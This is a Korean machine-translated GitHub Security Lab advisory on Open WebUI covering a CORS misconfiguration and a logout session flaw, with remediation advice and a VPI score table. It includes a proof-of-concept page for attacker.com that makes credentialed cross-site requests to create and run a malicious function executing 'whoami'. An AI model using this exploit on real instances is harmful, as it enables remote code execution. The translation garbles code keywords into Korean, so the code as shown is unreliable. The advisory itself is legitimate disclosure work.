Open WebUI에 CORS 구성 오류 및 세션 유효성 검사 문제가 있습니다.
GHSL-2024-174, GHSL-2024-175GitHub 보안 연구소 팀은 open-webui에서 잠재적인 보안 취약점을 식별했습니다.
우리는 이러한 문제를 해결하기 위해 귀하와 협력하기 위해 최선을 다하고 있습니다. 이 보고서에서는 GHSL 팀과 함께 이러한 문제의 해결을 효과적으로 조정하는 데 필요한 모든 것을 찾을 수 있습니다.
언제든지 이 프로세스에 대해 우려 사항이나 질문이 있는 경우 언제든지 securitylab@github.com으로 문의해 주세요(참고자료로 GHSL-2024-174 또는 GHSL-2024-175 포함). CVE 및 권고가 무엇인지, 취약점을 추적하고 다운스트림 사용자에게 정보를 제공하는 데 중요한 이유, CVE 할당 프로세스, 오픈 소스 소프트웨어를 안전하게 유지하는 데 사용되는 방법을 설명하는 GitHub의 Advisory Curation 팀이 작성한 이 블로그 게시물도 참조하세요.
귀하가 이 보고서의 정확한 담당자가 아닌 경우, 알려주시기 바랍니다!
CORS 구성 오류 및 세션 유효성 검사 문제로 인해 공격자는 openwebui에 대한 관리자 액세스 권한이 있는 브라우저에 대해 원클릭 공격을 수행할 수 있으며, 이로 인해 openwebui 인스턴스에서 원격 코드가 실행될 수 있습니다. openwebui 애플리케이션은 Docker 컨테이너의 기본 설정에서 루트로 실행되므로 컨테이너가 완전히 손상될 수 있습니다.
오픈웹UI
GHSL-2024-174)CORS 구성 오류는 open-webui의 여러 라우터에 존재하며 이로 인해 임의의 웹사이트가 openwebui에 인증된 교차 사이트 요청을 할 수 있게 됩니다. /api/v1/functions 엔드포인트(관리자)에 대한 액세스 권한이 있는 계정은 openwebui 인스턴스에서 임의의 코드를 실행할 수 있습니다.
다음 패턴은 다음 라우터에서 발생합니다.
#### 영향
이 문제는 '원격 코드 실행'으로 이어질 수 있습니다.
#### 해결
FastAPI CORS 미들웨어는 기본적으로 안전하지 않습니다. 즉 `allow_origins=["*"]`를 지정할 때 원본을 반영합니다. 취약하고 광범위한 출처를 제거하고 사용자가 관리 패널 또는 구성 파일을 통해 허용되는 정확한 출처를 동적으로 설정할 수 있도록 허용합니다. `"*"` 또는 `"*.com"`과 같은 광범위한 출처는 허용하지 않습니다.
#### 개념 증명
귀하의 웹사이트 `attacker.com`에 다음 코드를 호스팅하세요. Firefox를 사용하여 웹페이지를 열고 지시에 따라 웹페이지를 클릭합니다. openwebui 호스트를 확인하여 새로 생성된 파일 `/tmp/whoami.txt`에 배치된 `whoami` 명령의 결과를 확인하세요. 관리자 open-webui 계정에 로그인했는지 확인하세요.
``자바스크립트
<본문>
<p>로그인하려면 여기를 클릭하세요.</p>
<div id="응답"></div>
<스크립트>
//Firefox 크로스 사이트 쿠키 요청 우회
const url = 'http://localhost:3000/static/favicon.png';
document.addEventListener("DOMContentLoaded", () => {
document.onclick = () => {
열기(url);
filter_id = "확인"
//코드 작성을 위한 함수/필터 생성
fetch('http://localhost:3000/api/v1/functions/create', {
메소드: 'POST',
헤더: {
'콘텐츠 유형': '응용 프로그램/json'
},
본문: JSON.stringify({
"id": 필터_ID,
"이름": "테스트2",
"메타": {"설명": "테스트2"},
"content": "from pydantic import BaseModel, Field\nfromtyping import 선택 사항\n\n\n클래스 필터:\n 클래스 밸브(BaseModel):\n 우선 순위: int = Field(\n default=0, 설명=\"필터 작업의 우선 순위 수준.\"\n )\n max_turns: int = Field(\n 기본값=8, 설명=\"사용자에게 허용되는 최대 대화 차례.\"\n )\n pass\n\n class UserValves(BaseModel):\n max_turns: int = Field(\n default=4, Description=\"사용자에게 허용되는 최대 대화 차례.\"\n )\n pass\n\n def __init__(self):\n # 이 플래그는 사용자 정의 구현을 위해 기본 루틴을 해제하는 데 도움이 되며\n # 파일 관련 작업을 이 내에서 지정된 메서드로 연기하도록 WebUI에 알립니다. class.\n # 또는 입구 후크의 본문에서 직접 파일을 제거할 수 있습니다.\n # self.file_handler = True\n\n # 특정 구성으로 'valve'를 초기화합니다. 'Valves' 인스턴스를 사용하면 설정을 캡슐화하는 데 도움이 되며,\n # 설정이 응집력 있게 관리되고 'file_handler'와 같은 작동 플래그와 혼동되지 않도록 보장합니다.\n self.valves = self.Valves()\n f = open(\"/tmp/whoami.txt\", \"w\")\n 하위 프로세스 가져오기\n\n 출력 = subprocess.getoutput(\"whoami\")\n f.write(output)\n f.close()\n pass\n\n def inlet(self, body: dict, __user__: Optional[dict] = None) -> dict:\n 반환 본문\n\n def 콘센트(self, body: dict, __user__: 선택 사항[dict] = 없음) -> dict:\n 본문 반환\n"
}),
자격 증명: 'include' // 원본에서 쿠키를 보냅니다.
})
.then(응답 => response.json())
.then(데이터 => console.log(데이터))
.catch((error) => console.error('오류:', error));
//필터를 전환하여 코드 실행
fetch(`http://localhost:3000/api/v1/functions/id/${filter_id}/toggle`, {
메소드: 'POST',
자격 증명: 'include' // 원본에서 쿠키를 보냅니다.
})
.then(응답 => response.json())
.then(데이터 => console.log(데이터))
.catch((error) => console.error('오류:', error));
}
});
</script>
</body>
GHSL-2024-175)Openwebui가 로그아웃 후 세션 쿠키를 무효화하고 지우지 못합니다. 실제로는 동일한 세션 쿠키를 재사용하는 것 같습니다. 이를 통해 이전 세션 쿠키 세부 정보에 접근할 수 있는 공격자는 피해자가 브라우저를 닫지 않는 한 나중에 로그인할 수 있습니다.
이 취약점은 위의 CORS 문제와 관련이 있습니다. 왜냐하면 이 취약점을 악용하기 위해 더 이상 사용자 로그인이 필요하지 않기 때문입니다. 쿠키가 올바르게 무효화/삭제된 경우 CORS 문제는 로그인한 사용자에게만 영향을 미칩니다.
이 문제는 다른 보안 문제로 인해 얻은 기본 요소의 영향을 증가시킬 수 있습니다.
모든 세션마다 새로운 쿠키가 생성되어야 합니다. 사용자가 로그아웃하면 이전 세션의 세션 쿠키가 무효화되고 브라우저 저장소에서 제거되어야 합니다.
이러한 결과에 대해 비공개 GitHub 보안 권고를 생성하는 것이 좋습니다. 이를 통해 GHSL 팀을 초대하여 이러한 조사 결과가 [게시]되기 전에 비공개로 공동 작업하고 추가 논의할 수 있습니다(https://help.github.com/en/github/managing-security-vulnerabilities/publishing-a-security-advisory).
이러한 문제는 GHSL 팀원 @Kwstubbs (Kevin Stubbings)이 발견하고 보고했습니다.
'securitylab@github.com'으로 GHSL 팀에 문의하실 수 있습니다. 이러한 문제와 관련된 커뮤니케이션에는 'GHSL-2024-174' 또는 'GHSL-2024-175'에 대한 참조를 포함하시기 바랍니다.
이 보고서에는 조정 공개 정책에 자세히 설명된 대로 90일 공개 기한이 적용됩니다.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 83.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 83.00 |
VPI 공식 vpi-v1 기준